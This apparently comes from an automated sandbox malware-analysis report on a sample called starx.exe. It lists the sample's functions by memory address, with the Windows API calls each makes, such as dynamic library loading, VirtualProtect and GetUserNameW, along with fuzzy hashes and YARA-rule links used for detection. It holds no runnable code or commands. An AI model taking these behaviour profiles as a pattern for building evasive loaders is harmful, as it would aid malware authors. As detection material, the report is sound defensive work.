Opcode Fuzzy Hash: 14b3d4a3d99fc5b76c89796f0575f382111ae7c7dc160ed17f087dfa453fc872
Instruction Fuzzy Hash: 77F0E93B5051305E9A11BB363C4847B156CDACE3297126827F593C3281FA184C8382A8

Uniqueness

Uniqueness Score: -1.00%

Function 0044434A, Relevance: 4.5, APIs: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 00444366
LoadLibraryA.KERNEL32(?), ref: 00444373
GetProcAddress.KERNEL32(00000000,?), ref: 00444381

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 633bbec3722f7eb267180cd8858e50e53dbade99f51b311de6dcfcb46027f2b3
Instruction ID: a673462934936bb9c34516b0c21bde588fd669bd71c69f9d58389c639ecb4630
Opcode Fuzzy Hash: 633bbec3722f7eb267180cd8858e50e53dbade99f51b311de6dcfcb46027f2b3
Instruction Fuzzy Hash: 76F0C835640128EFDF216F60DC4469F7B65AFC1F517104537FC05A6156D7388951CAC8

Uniqueness

Uniqueness Score: -1.00%

Function 024C3D43, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 309COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 024C4116

Strings

p+}, xrefs: 024C3E29

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: HandleModule
String ID: p+}
API String ID: 4139908857-4084482474
Opcode ID: a6117a80603816119b04961c98df70986a1885329797b18673de0876f29b2e96
Instruction ID: 1ac41e2c44c21c5f5d11b779413630f8f7c976f03febe37cd7b186d7791ff57a
Opcode Fuzzy Hash: a6117a80603816119b04961c98df70986a1885329797b18673de0876f29b2e96
Instruction Fuzzy Hash: DDC1AC74A047058FCB54EF69D494AAEBBF2FF88314B14896ED406DB761DB34E805CB90

Uniqueness

Uniqueness Score: -1.00%

Function 004439E9, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00443A13

Part of subcall function 0044389E: GetCurrentProcess.KERNEL32 ref: 004438AB
Part of subcall function 0044389E: EnumProcessModules.PSAPI(00000000,?,00001000,?), ref: 004438C5
Part of subcall function 0044389E: GetModuleInformation.PSAPI(?,?,00000000,0000000C,?,?,?,00000000,?,00001000,?), ref: 004438FD
Part of subcall function 0044389E: GetModuleBaseNameW.PSAPI(?,?,?,00000104,?,?,00000000,0000000C,?,?,?,00000000,?,00001000,?), ref: 00443929

Strings

C:\Users\user\Desktop\starx.exe, xrefs: 00443A2A

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ModuleProcess$BaseCurrentEnumInformationModulesName_memset
String ID: C:\Users\user\Desktop\starx.exe
API String ID: 1620000358-1103951771
Opcode ID: 24d7dcdebfc532e6eb9573e9651a6a0912447fe57853a46ef4232d9934b98755
Instruction ID: 83c21aa6bcaee142b23cae72e83a2504b5f091910176912a7582b913a88e97fc
Opcode Fuzzy Hash: 24d7dcdebfc532e6eb9573e9651a6a0912447fe57853a46ef4232d9934b98755
Instruction Fuzzy Hash: B501F23541020AAEDF11EF68C8488AB33B8EF05709F008566F896D7221EA34DB508B54

Uniqueness

Uniqueness Score: -1.00%

Function 059DCD73, Relevance: 3.4, APIs: 2, Instructions: 388libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: ebe5394ff8db7e7d6497ead158003ffd0d8c53c04b9416c0aeb24f906e6e49e3
Instruction ID: 6ad9b48d6fb28d66b7113610653c924b47700d2dfeb1c24a7c2ec778b2321d8e
Opcode Fuzzy Hash: ebe5394ff8db7e7d6497ead158003ffd0d8c53c04b9416c0aeb24f906e6e49e3
Instruction Fuzzy Hash: 22020574A002288FDB64DF64D89879DBBBAFF88205F1085E9D50AA3350DF789E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCDD1, Relevance: 3.4, APIs: 2, Instructions: 377libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: cb27f41ecc0e735a70c0576db7de9674500c6c0450b5b907eea42c1294f49f1a
Instruction ID: a7bbc6debd2caa3b932d787001cb46c81f282ce3472b655bf90dbabb58217a92
Opcode Fuzzy Hash: cb27f41ecc0e735a70c0576db7de9674500c6c0450b5b907eea42c1294f49f1a
Instruction Fuzzy Hash: 68F1F574A002288FDB64EF64D99879DB7BAFF88205F1085E9D50AA3350DF789E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 059DCE19, Relevance: 3.4, APIs: 2, Instructions: 370libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 9d333682ddcf28b21281096ace7e4f6af636304d5cef51df9d339aa408c23a02
Instruction ID: 8547026fa1973d1204989ff196c463dccfe88c7d2c1fd7ab0d481bca23b02158
Opcode Fuzzy Hash: 9d333682ddcf28b21281096ace7e4f6af636304d5cef51df9d339aa408c23a02
Instruction Fuzzy Hash: 07F1F574A002288FDB64EF64D99879DB7BAFF88205F1085E9D50AA3350DF789E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 059DCE61, Relevance: 3.4, APIs: 2, Instructions: 363libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 7b631207d546cd672d40807d26863797bbe12222a361c406007a023acd5674a9
Instruction ID: 1e9b618c1adb4a7c167eac7e04c970e49423f4aaf0ab4438143937e8872722ce
Opcode Fuzzy Hash: 7b631207d546cd672d40807d26863797bbe12222a361c406007a023acd5674a9
Instruction Fuzzy Hash: AEF1F574A002288FDB64EF64D99879DB7BAFF88205F1085E9D50AA3350DF789E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 059DCEA9, Relevance: 3.4, APIs: 2, Instructions: 356libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: e791e7f47c227c5984b79fc84c0708505e18cb6b84d317f248f70df21701b319
Instruction ID: cf575a0ae23797a3e6b7f65b08acebc9f5a367b218ae0641752d3cdba2c43bbd
Opcode Fuzzy Hash: e791e7f47c227c5984b79fc84c0708505e18cb6b84d317f248f70df21701b319
Instruction Fuzzy Hash: A1F1F774A002288FDB64DB64D85879DB7BAFF88205F1085E9D50AE3350DF789E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 059DCEF1, Relevance: 3.3, APIs: 2, Instructions: 349libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 1d4517b01d67f04339426ccd9d3a7dab9e09e2dfd4858d8ca9b76ce22bacceba
Instruction ID: 2422f4c9d31387c7f0a970fc5675c27d966fe4fb71ce4dfb9afba1a31403a991
Opcode Fuzzy Hash: 1d4517b01d67f04339426ccd9d3a7dab9e09e2dfd4858d8ca9b76ce22bacceba
Instruction Fuzzy Hash: 41E1F774A002288BDB64EB64D95879DB7BAFF88205F1085E9D50AE3350DF789E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 059DCF39, Relevance: 3.3, APIs: 2, Instructions: 342libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID:
API String ID: 243558500-0
Opcode ID: 4d0685abc58843dfa79f147aa682ffcd46605dcbdf0d8507f087ed9f845c9848
Instruction ID: 77519ce4856333fed9b808f7524182a356e40c8e0b123ef61163ac2aaa86837e
Opcode Fuzzy Hash: 4d0685abc58843dfa79f147aa682ffcd46605dcbdf0d8507f087ed9f845c9848
Instruction Fuzzy Hash: 90E1F875A002288BDB64AB64DC5879DB7BAFF88205F1085A9D50AE3350DF789E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0044395F, Relevance: 3.1, APIs: 2, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000004,?), ref: 00443981
VirtualProtect.KERNEL32(?,?,?,?), ref: 004439DE

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4243d2a1fec2bf9341810387b1b1036ca12356099ff4a9fb2ddaa52155770665
Instruction ID: 6e45966280b495fa4baf2274dffddfaf46b7300e936cc41402cf8829afc7eb86
Opcode Fuzzy Hash: 4243d2a1fec2bf9341810387b1b1036ca12356099ff4a9fb2ddaa52155770665
Instruction Fuzzy Hash: 2611A7B6500604EFEB208F54C841BBA77F8EF45B15F044166E945DB291E374FE40DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0043FF27, Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0043FF2E

Part of subcall function 0043F64A: __calloc_impl.LIBCMT ref: 0043F65B
Part of subcall function 0043F64A: Sleep.KERNEL32(00000000), ref: 0043F672

__encode_pointer.LIBCMT ref: 0043FF36

Part of subcall function 0043EED5: TlsGetValue.KERNEL32(00000000,?,0043EF4E,00000000,00440256,00448120,00000000,00000314,?,0043E603,00448120,Microsoft Visual C++ Runtime Library,00012010), ref: 0043EEE7
Part of subcall function 0043EED5: TlsGetValue.KERNEL32(00000005,?,0043EF4E,00000000,00440256,00448120,00000000,00000314,?,0043E603,00448120,Microsoft Visual C++ Runtime Library,00012010), ref: 0043EEFE
Part of subcall function 0043EED5: RtlEncodePointer.NTDLL(00000000,?,0043EF4E,00000000,00440256,00448120,00000000,00000314,?,0043E603,00448120,Microsoft Visual C++ Runtime Library,00012010), ref: 0043EF3C

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: Value$EncodePointerSleep__calloc_crt__calloc_impl__encode_pointer
String ID:
API String ID: 2812158048-0
Opcode ID: d29f7b1b9f5b2f4a2b4820a4f220b8c80736ba23b0f79e8469f4ef24f2bcb6d9
Instruction ID: 44f0b6778bcc7e6a1e549511048f7c70cf4539c72f82fd8f61babd9a4006e3a4
Opcode Fuzzy Hash: d29f7b1b9f5b2f4a2b4820a4f220b8c80736ba23b0f79e8469f4ef24f2bcb6d9
Instruction Fuzzy Hash: 7CD05B72D56A205AE771AB667C077972780CBC5770F11403FF5049A2C1E9748C4656DC

Uniqueness

Uniqueness Score: -1.00%

Function 024C9000, Relevance: 2.0, APIs: 1, Instructions: 500COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 024C965F

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 3e432b9f72adf08af3f0fae30efd37f8048085fe431069eae1cbcac09e51114d
Instruction ID: 9553c21dc298a257ed68641236d870eca7141c39d0b2c3de6d65db1d4f6a1b04
Opcode Fuzzy Hash: 3e432b9f72adf08af3f0fae30efd37f8048085fe431069eae1cbcac09e51114d
Instruction Fuzzy Hash: 5C12E5347086408FCB65FB78D85836E7BA2AF85308F24856ED446CB7A4DF759C06CB92

Uniqueness

Uniqueness Score: -1.00%

Function 024C8FF1, Relevance: 1.9, APIs: 1, Instructions: 414COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 024C965F

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1c6b9e9608c488dcadd70541881838cc6162fef176745cf0d5af921500f0d919
Instruction ID: 719285fcdc2cbdcfc0593e18d56a79eea142fd3fd3d440de43b13174c12a47d4
Opcode Fuzzy Hash: 1c6b9e9608c488dcadd70541881838cc6162fef176745cf0d5af921500f0d919
Instruction Fuzzy Hash: 9CF1D3347042408FDB65FB78D45836E77A2AFC5308F24856DD4468BBA4DFB59C0ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 024C9296, Relevance: 1.7, APIs: 1, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f566bc0290410086a17cf7d4ba7a22640095e594ff74998320904a84fa3434ec
Instruction ID: 57d27c4d99ca0e4c7e7562f065a541d6d41bcb0584261d16c398c64416d046cd
Opcode Fuzzy Hash: f566bc0290410086a17cf7d4ba7a22640095e594ff74998320904a84fa3434ec
Instruction Fuzzy Hash: 2C91A6347046408FDB65BB78D45836EBBA2ABC5304F24856ED0578BB94CFB59C4ACB83

Uniqueness

Uniqueness Score: -1.00%

Function 024C92D7, Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 024C965F

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0841af4121a1bbb090dab2aa2432bc5f2be2004c5e034ead08c307af9fff175e
Instruction ID: bdcbd27f4806bfe5d6c36099b623c0bd3d5acb837183ef7ae0ca0faac20a9246
Opcode Fuzzy Hash: 0841af4121a1bbb090dab2aa2432bc5f2be2004c5e034ead08c307af9fff175e
Instruction Fuzzy Hash: 8091B6347046408FDB65BB78D45836EBAA2AFC5304F24856ED0578BB94CFB59C4ACB83

Uniqueness

Uniqueness Score: -1.00%

Function 024C5010, Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 024C51A2

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: c551fdeab81e49c5f6216c7d986da17b1b743cfdeefa64820bc2ff06bf4963d8
Instruction ID: dba235d9cb8ca5918ceb14e4e81ec0c0b878141847fb1382e101e3247a139a0e
Opcode Fuzzy Hash: c551fdeab81e49c5f6216c7d986da17b1b743cfdeefa64820bc2ff06bf4963d8
Instruction Fuzzy Hash: E66136B5C04249AFDF02CFA9C884ADEBFB1FF49304F25816AE908AB221D7759855CF50

Uniqueness

Uniqueness Score: -1.00%

Function 059DB4EF, Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 059DB633

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 5fb0c88d3bbfbc48115fc903b5b783c6bfa138d447cca05ff5ccdd55634dca8d
Instruction ID: 19ab7b0ec7762adab2a413b8f183feb463aaa4ea595bc6d576feb0a8b53e515b
Opcode Fuzzy Hash: 5fb0c88d3bbfbc48115fc903b5b783c6bfa138d447cca05ff5ccdd55634dca8d
Instruction Fuzzy Hash: 70513575E002188FDB14CFA9C884B9DFBB2BF48314F558529E819BB350DB749844CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 059D5A94, Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 059DB633

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 4d00988c062de837bdd11d1ef645a1411303831abcaa95d45b7055db392adf53
Instruction ID: 90e2421e20322b4969f017ea3fa0813c8ec76c7e93ba002a507153930cb87e8f
Opcode Fuzzy Hash: 4d00988c062de837bdd11d1ef645a1411303831abcaa95d45b7055db392adf53
Instruction Fuzzy Hash: DB510370D002188FDB14CFA9C898B9DFBB6BF48314F568529E819BB350DB74A844CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 059D921C, Relevance: 1.6, APIs: 1, Instructions: 134COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 059DB633

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 2e3f0450539543edb9d05a5a6d6d181a603a8dfcfbbe4a7c4e6bc25a123a80b9
Instruction ID: 59ea9c3fa5efc86c2852f5da2fcef95cd7d6969a5280fd641cc87719f8074047
Opcode Fuzzy Hash: 2e3f0450539543edb9d05a5a6d6d181a603a8dfcfbbe4a7c4e6bc25a123a80b9
Instruction Fuzzy Hash: C6511470D002188FDB14CFA9C898B9DFBB6BF48314F568529E819BB350DB74A844CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 024C5090, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 024C51A2

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d0a5657621eb9315a4100be1c7618b177686102823935a512a83eb88f59718b4
Instruction ID: a34e25aab792242715caa741eaaeb5bca7108acdd0e027d67333e694b3ac134d
Opcode Fuzzy Hash: d0a5657621eb9315a4100be1c7618b177686102823935a512a83eb88f59718b4
Instruction Fuzzy Hash: 4641D0B5D103089FDB15CF99C884ADEBBB5BF88314F64852AE819AB310DB74A845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 024C779C, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 024C7F09

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 68e317d85880739dcb95c2b42dfea45dfe584d9ebc2e57f214462ef1c3b2ba33
Instruction ID: df4c7e6d574e703a31aef08435a6cfb42d47114b56fac85e5d49a1c440a33f96
Opcode Fuzzy Hash: 68e317d85880739dcb95c2b42dfea45dfe584d9ebc2e57f214462ef1c3b2ba33
Instruction Fuzzy Hash: B0410CB99002098FDB54CF59C488AAAFBF5FF48314F24C45DD519AB311D774A845CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 059D0428, Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 059D426A

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d5fe1dbaf63e4b53075160155d110ade693a8b639d5e3bbc691d2f949c649c81
Instruction ID: 00bcae797a8acbfae4b83b992280bd0876a93680dba9c651a6f555e3a430b8f7
Opcode Fuzzy Hash: d5fe1dbaf63e4b53075160155d110ade693a8b639d5e3bbc691d2f949c649c81
Instruction Fuzzy Hash: 303143B0D142499FDF14CFA8D889B9EFBF5BB48314F10852AE819A7380D7B49845CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 059D4195, Relevance: 1.6, APIs: 1, Instructions: 88libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 059D426A

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 835aab7af966573b53df9fcca39147c1ba3ebe5df9e794098064b1fa50083ba0
Instruction ID: be07cba3ac3f08f27f4c90ca791bab8cef667f3d260dbea941e994c6f6d0bb69
Opcode Fuzzy Hash: 835aab7af966573b53df9fcca39147c1ba3ebe5df9e794098064b1fa50083ba0
Instruction Fuzzy Hash: 2F3132B0D102499FDF14CFA8D889B9EFBF5BB48314F10852AE919A7380D7B49845CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 024C6B61, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 024C6BEF

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9394af6bc2a89471d998de9509dcdb046311e5af4a9cce46897a72351e7faece
Instruction ID: 16e3254d76f532317ca5aa11f07b07ea6836417f168afd543a76e3b3fcc93073
Opcode Fuzzy Hash: 9394af6bc2a89471d998de9509dcdb046311e5af4a9cce46897a72351e7faece
Instruction Fuzzy Hash: 8021E4B59002589FDB00CFA9D984ADEBBF5FF48324F25842AE818A7350D378A955CF61

Uniqueness

Uniqueness Score: -1.00%

Function 024C6B68, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 024C6BEF

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a6331530006cd4c11211a4eeb4b7ebf4cf64f34fa336ae756f4d4f9f35cc0cc3
Instruction ID: a4bc586f1f3906c9b8d5c7cc434fac0c96586f9b23f42e06d30e27331a803875
Opcode Fuzzy Hash: a6331530006cd4c11211a4eeb4b7ebf4cf64f34fa336ae756f4d4f9f35cc0cc3
Instruction Fuzzy Hash: F421C4B59002599FDB10CF99D984ADEFBF9FB48314F14842AE914A7310D378A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 024CC187, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 024CC212

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: fc1898e82ea750b7199abc45c3e199175df962781631cc1b8120c57d06ea5002
Instruction ID: fdd5d7db0866ecdd4799c25a06faa13ce15002465ee52927876f62a55b698417
Opcode Fuzzy Hash: fc1898e82ea750b7199abc45c3e199175df962781631cc1b8120c57d06ea5002
Instruction Fuzzy Hash: 5F218B759043198FEB50DFA9D94879EBFF4FB44318F24842ED808A7245CB395909CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 024CC438, Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 024CC4BD

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 8d132ce47214dafc607eaac9508a55c0e03546cc1fbd806e6580307ac211e776
Instruction ID: fce554b249a97bd19c471c6285afd13b4a74356b5cd4cdd0447081c066c1c074
Opcode Fuzzy Hash: 8d132ce47214dafc607eaac9508a55c0e03546cc1fbd806e6580307ac211e776
Instruction Fuzzy Hash: B6219A748143888EEB50CFA9D4447AEBFF4EB09318F20842FD448A7741CB799545CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05C04B94, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,?,00000000,?,05C05D99,00000800), ref: 05C05E2A

Memory Dump Source

Source File: 00000002.00000002.1016035406.0000000005C00000.00000040.00000001.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5c00000_starx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c2ad44ddda86eebff66b55537e243080214a17e166c0a5271e29a8a583c47d56
Instruction ID: d93ddb2a517864c6bd310d7fcc06f8d55f7200004ebf779b3e390bb978664f48
Opcode Fuzzy Hash: c2ad44ddda86eebff66b55537e243080214a17e166c0a5271e29a8a583c47d56
Instruction Fuzzy Hash: F21106B69042099FDB10CF9AC448BDEFBF5AB88314F50842AD415B7340C379A945CFA5

Uniqueness

Uniqueness Score: -1.00%

